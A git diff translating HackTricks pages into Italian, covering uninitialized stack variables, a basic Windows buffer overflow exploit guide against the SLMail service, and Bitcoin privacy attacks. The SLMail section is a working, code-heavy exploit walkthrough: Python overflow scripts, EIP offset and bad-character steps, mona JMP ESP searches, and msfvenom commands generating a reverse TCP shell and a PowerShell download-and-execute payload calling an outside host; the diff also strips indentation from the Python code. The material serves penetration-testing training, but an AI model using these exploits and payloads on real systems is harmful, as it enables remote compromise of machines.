unintentionally hold sensitive data left in memory. +Questo comportamento illustra un concetto chiave nella programmazione a basso livello: **La gestione della memoria è cruciale**, e le variabili non inizializzate possono portare a comportamenti imprevedibili o vulnerabilità di sicurezza, poiché potrebbero contenere involontariamente dati sensibili lasciati in memoria. -Uninitialized stack variables could pose several security risks like: +Le variabili di stack non inizializzate potrebbero presentare diversi rischi per la sicurezza come: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **Data Leakage**: Informazioni sensibili come password, chiavi di crittografia o dettagli personali possono essere esposte se memorizzate in variabili non inizializzate, consentendo agli attaccanti di potenzialmente leggere questi dati. +- **Information Disclosure**: I contenuti delle variabili non inizializzate potrebbero rivelare dettagli sulla disposizione della memoria del programma o sulle operazioni interne, aiutando gli attaccanti a sviluppare exploit mirati. +- **Crashes and Instability**: Operazioni che coinvolgono variabili non inizializzate possono risultare in comportamenti indefiniti, portando a crash del programma o risultati imprevedibili. +- **Arbitrary Code Execution**: In determinate situazioni, gli attaccanti potrebbero sfruttare queste vulnerabilità per alterare il flusso di esecuzione del programma, consentendo loro di eseguire codice arbitrario, che potrebbe includere minacce di esecuzione di codice remoto. +### Esempio ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### Come Funziona: -#### How This Works: +- **`initializeAndPrint` Function**: Questa funzione dichiara una variabile intera `initializedVar`, le assegna il valore `100` e poi stampa sia l'indirizzo di memoria che il valore della variabile. Questo passaggio è semplice e mostra come si comporta una variabile inizializzata. +- **`demonstrateUninitializedVar` Function**: In questa funzione, dichiariamo una variabile intera `uninitializedVar` senza inizializzarla. Quando tentiamo di stampare il suo valore, l'output potrebbe mostrare un numero casuale. Questo numero rappresenta qualsiasi dato fosse precedentemente in quella posizione di memoria. A seconda dell'ambiente e del compilatore, l'output effettivo può variare e, a volte, per sicurezza, alcuni compilatori potrebbero inizializzare automaticamente le variabili a zero, anche se non ci si dovrebbe fare affidamento. +- **`main` Function**: La funzione `main` chiama entrambe le funzioni sopra in sequenza, dimostrando il contrasto tra una variabile inizializzata e una non inizializzata. -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## Esempio ARM64 -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +Questo non cambia affatto in ARM64 poiché le variabili locali sono gestite anche nello stack, puoi [**controllare questo esempio**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) dove questo è mostrato. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..eb2c34f1c 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Guida di base - livello OSCP) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Inizia a installare il servizio SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Riavviare il servizio SLMail +Ogni volta che hai bisogno di **riavviare il servizio SLMail** puoi farlo utilizzando la console di Windows: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## Modello di exploit Python molto basilare ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Cambia il font di Immunity Debugger** -## **Change Immunity Debugger Font** +Vai su `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Collega il processo a Immunity Debugger:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**E premi il pulsante START** -## **Send the exploit and check if EIP is affected:** +## **Invia l'exploit e controlla se l'EIP è influenzato:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Ogni volta che interrompi il servizio, dovresti riavviarlo come indicato all'inizio di questa pagina. -## Create a pattern to modify the EIP +## Crea un pattern per modificare l'EIP -The pattern should be as big as the buffer you used to broke the service previously. +Il pattern dovrebbe essere grande quanto il buffer che hai usato per interrompere il servizio in precedenza. ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Cambia il buffer dell'exploit e imposta il pattern e lancia l'exploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Un nuovo crash dovrebbe apparire, ma con un indirizzo EIP diverso: ![](<../images/image (636).png>) -Check if the address was in your pattern: +Controlla se l'indirizzo era nel tuo pattern: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Sembra che **possiamo modificare l'EIP nell'offset 2606** del buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Controllalo modificando il buffer dell'exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Con questo buffer l'EIP che si è bloccato dovrebbe puntare a 42424242 ("BBBB") ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +Sembra che funzioni. -## Check for Shellcode space inside the stack +## Controlla lo spazio per Shellcode all'interno dello stack -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B dovrebbero essere sufficienti per qualsiasi shellcode potente. +Cambiamo il buffer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Puoi vedere che quando la vulnerabilità viene raggiunta, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza. -## Check for bad chars - -Change again the buffer: +## Controlla i caratteri non validi +Cambia di nuovo il buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +I badchars iniziano da 0x01 perché 0x00 è quasi sempre dannoso. -The badchars starts in 0x01 because 0x00 is almost always bad. +Esegui ripetutamente l'exploit con questo nuovo buffer eliminando i caratteri che si rivelano inutili:. -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Ad esempio: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +In questo caso puoi vedere che **non dovresti usare il carattere 0x0A** (niente viene salvato in memoria poiché il carattere è 0x09). ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +In questo caso puoi vedere che **il carattere 0x0D è evitato**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## Trova un JMP ESP come indirizzo di ritorno +Utilizzando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Elencare **le mappe di memoria**. Cercare qualche DLL che abbia: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per farlo esegui: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Quindi, se viene trovata un'indirizzo, scegline uno che non contenga alcun badchar:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**In questo caso, ad esempio: \_0x5f4a358f**\_ +## Crea shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il shellcode è stato raggiunto), prova a creare altri shellcode (msfvenom con crea diversi shellcode per gli stessi parametri). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Aggiungi alcuni NOPS all'inizio** del shellcode e usalo insieme all'indirizzo di ritorno per JMP ESP, e completa l'exploit: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Ci sono shellcode che **si sovrascrivono**, quindi è importante aggiungere sempre alcuni NOP prima dello shellcode -## Improving the shellcode - -Add this parameters: +## Migliorare lo shellcode +Aggiungi questi parametri: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..d44d8502c 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## Concetti di Base -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando vengono soddisfatte determinate condizioni, automatizzando l'esecuzione degli accordi senza intermediari. +- **Decentralized Applications (dApps)** si basano su smart contracts, presentando un'interfaccia utente intuitiva e un back-end trasparente e verificabile. +- **Tokens & Coins** differenziano dove le monete servono come denaro digitale, mentre i token rappresentano valore o proprietà in contesti specifici. +- **Utility Tokens** concedono accesso ai servizi, e **Security Tokens** significano proprietà di asset. +- **DeFi** sta per Finanza Decentralizzata, offrendo servizi finanziari senza autorità centrali. +- **DEX** e **DAOs** si riferiscono a Piattaforme di Scambio Decentralizzate e Organizzazioni Autonome Decentralizzate, rispettivamente. -## Consensus Mechanisms +## Meccanismi di Consenso -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +I meccanismi di consenso garantiscono validazioni di transazione sicure e concordate sulla blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** si basa sulla potenza computazionale per la verifica delle transazioni. +- **Proof of Stake (PoS)** richiede ai validatori di detenere una certa quantità di token, riducendo il consumo energetico rispetto al PoW. -## Bitcoin Essentials +## Fondamentali di Bitcoin -### Transactions +### Transazioni -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Le transazioni Bitcoin comportano il trasferimento di fondi tra indirizzi. Le transazioni vengono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa avviare i trasferimenti. -#### Key Components: +#### Componenti Chiave: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Transazioni Multisignature** richiedono più firme per autorizzare una transazione. +- Le transazioni consistono in **input** (fonte di fondi), **output** (destinazione), **commissioni** (pagate ai miner) e **script** (regole della transazione). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Punta a migliorare la scalabilità di Bitcoin consentendo più transazioni all'interno di un canale, trasmettendo solo lo stato finale alla blockchain. -## Bitcoin Privacy Concerns +## Preoccupazioni sulla Privacy di Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti delle transazioni tra gli utenti. -## Acquiring Bitcoins Anonymously +## Acquisire Bitcoin in Modo Anonimo -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +I metodi includono scambi in contante, mining e utilizzo di mixer. **CoinJoin** mescola più transazioni per complicare la tracciabilità, mentre **PayJoin** maschera i CoinJoin come transazioni normali per una maggiore privacy. -# Bitcoin Privacy Atacks +# Attacchi alla Privacy di Bitcoin -# Summary of Bitcoin Privacy Attacks +# Riepilogo degli Attacchi alla Privacy di Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso oggetto di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni attraverso i quali gli attaccanti possono compromettere la privacy di Bitcoin. -## **Common Input Ownership Assumption** +## **Assunzione di Proprietà di Input Comuni** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +È generalmente raro che input di diversi utenti vengano combinati in una singola transazione a causa della complessità coinvolta. Pertanto, **due indirizzi di input nella stessa transazione sono spesso assunti appartenere allo stesso proprietario**. -## **UTXO Change Address Detection** +## **Rilevamento dell'Indirizzo di Cambio UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Un UTXO, o **Unspent Transaction Output**, deve essere completamente speso in una transazione. Se solo una parte di esso viene inviata a un altro indirizzo, il resto va a un nuovo indirizzo di cambio. Gli osservatori possono assumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy. -### Example +### Esempio -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Per mitigare questo, i servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà. -## **Social Networks & Forums Exposure** +## **Esposizione su Reti Sociali e Forum** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Gli utenti a volte condividono i loro indirizzi Bitcoin online, rendendo **facile collegare l'indirizzo al suo proprietario**. -## **Transaction Graph Analysis** +## **Analisi del Grafo delle Transazioni** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Le transazioni possono essere visualizzate come grafi, rivelando potenziali collegamenti tra gli utenti in base al flusso di fondi. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Euristica di Input Non Necessari (Euristica di Cambio Ottimale)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Questa euristica si basa sull'analisi delle transazioni con più input e output per indovinare quale output è il cambio che ritorna al mittente. +### Esempio ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Se l'aggiunta di più input rende l'output del cambiamento più grande di qualsiasi singolo input, può confondere l'euristica. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Riutilizzo Forzato degli Indirizzi** -## **Forced Address Reuse** +Gli attaccanti possono inviare piccole somme a indirizzi già utilizzati, sperando che il destinatario le combini con altri input in future transazioni, collegando così gli indirizzi tra loro. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Comportamento Corretto del Wallet -### Correct Wallet Behavior +I wallet dovrebbero evitare di utilizzare monete ricevute su indirizzi già utilizzati e vuoti per prevenire questa perdita di privacy. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Altre Tecniche di Analisi della Blockchain** -## **Other Blockchain Analysis Techniques** +- **Importi di Pagamento Esatti:** Le transazioni senza resto sono probabilmente tra due indirizzi di proprietà dello stesso utente. +- **Numeri Rotondi:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo che probabilmente è il resto. +- **Fingerprinting del Wallet:** I diversi wallet hanno schemi unici di creazione delle transazioni, consentendo agli analisti di identificare il software utilizzato e potenzialmente l'indirizzo di resto. +- **Correlazioni tra Importo e Tempistiche:** La divulgazione dei tempi o degli importi delle transazioni può rendere le transazioni tracciabili. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Analisi del Traffico** -## **Traffic Analysis** +Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la propria capacità di monitorare le transazioni. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Altro -## More +Per un elenco completo di attacchi alla privacy e difese, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Transazioni Bitcoin Anonime -# Anonymous Bitcoin Transactions +## Modi per Ottenere Bitcoin Anonimamente -## Ways to Get Bitcoins Anonymously +- **Transazioni in Contante**: Acquisire bitcoin tramite contante. +- **Alternative al Contante**: Acquistare carte regalo e scambiarle online per bitcoin. +- **Mining**: Il metodo più privato per guadagnare bitcoin è attraverso il mining, specialmente se fatto da solo, poiché i pool di mining possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Furto**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirlo in modo anonimo, anche se è illegale e non raccomandato. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Servizi di Mixing -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Utilizzando un servizio di mixing, un utente può **inviare bitcoin** e ricevere **bitcoin diversi in cambio**, il che rende difficile rintracciare il proprietario originale. Tuttavia, ciò richiede fiducia nel servizio affinché non tenga registri e restituisca effettivamente i bitcoin. Opzioni di mixing alternative includono i casinò Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** unisce più transazioni da diversi utenti in una sola, complicando il processo per chiunque cerchi di abbinare input e output. Nonostante la sua efficacia, le transazioni con dimensioni di input e output uniche possono comunque essere potenzialmente tracciate. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Esempi di transazioni che potrebbero aver utilizzato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Per ulteriori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, dai un'occhiata a [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (ad esempio, un cliente e un commerciante) come una transazione normale, senza le caratteristiche distintive degli output uguali tipiche di CoinJoin. Questo rende estremamente difficile da rilevare e potrebbe invalidare l'euristica di proprietà degli input comuni utilizzata dalle entità di sorveglianza delle transazioni. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Le transazioni come quelle sopra potrebbero essere PayJoin, migliorando la privacy rimanendo indistinguibili dalle transazioni bitcoin standard. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi di sorveglianza tradizionali**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Migliori Pratiche per la Privacy nelle Criptovalute -# Best Practices for Privacy in Cryptocurrencies +## **Tecniche di Sincronizzazione dei Wallet** -## **Wallet Synchronization Techniques** +Per mantenere la privacy e la sicurezza, è cruciale sincronizzare i wallet con la blockchain. Due metodi si distinguono: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Full node**: Scaricando l'intera blockchain, un full node garantisce la massima privacy. Tutte le transazioni mai effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano l'utente. +- **Filtraggio dei blocchi lato client**: Questo metodo prevede la creazione di filtri per ogni blocco nella blockchain, consentendo ai wallet di identificare transazioni rilevanti senza esporre interessi specifici agli osservatori della rete. I wallet leggeri scaricano questi filtri, recuperando solo blocchi completi quando viene trovata una corrispondenza con gli indirizzi dell'utente. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Utilizzo di Tor per l'Anonymity** -## **Utilizing Tor for Anonymity** +Dato che Bitcoin opera su una rete peer-to-peer, si consiglia di utilizzare Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Prevenire il Riutilizzo degli Indirizzi** -## **Preventing Address Reuse** +Per proteggere la privacy, è fondamentale utilizzare un nuovo indirizzo per ogni transazione. Riutilizzare indirizzi può compromettere la privacy collegando le transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi attraverso il loro design. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Strategie per la Privacy delle Transazioni** -## **Strategies for Transaction Privacy** +- **Transazioni multiple**: Suddividere un pagamento in più transazioni può offuscare l'importo della transazione, ostacolando gli attacchi alla privacy. +- **Evitare il resto**: Optare per transazioni che non richiedono output di resto migliora la privacy interrompendo i metodi di rilevamento del resto. +- **Molteplici output di resto**: Se evitare il resto non è fattibile, generare molteplici output di resto può comunque migliorare la privacy. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Un Faro di Anonimato** -# **Monero: A Beacon of Anonymity** +Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali, stabilendo un elevato standard per la privacy. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas e Transazioni** -# **Ethereum: Gas and Transactions** +## **Comprendere il Gas** -## **Understanding Gas** +Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, con un prezzo in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) comporta un limite di gas e una tariffa base, con una mancia per incentivare i miner. Gli utenti possono impostare una tariffa massima per garantire di non pagare troppo, con l'eccedenza rimborsata. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Esecuzione delle Transazioni** -## **Executing Transactions** +Le transazioni in Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi di utenti o smart contract. Richiedono una tariffa e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, dati opzionali, limite di gas e tariffe. Notabilmente, l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità alla privacy e alla sicurezza. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Riferimenti - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - 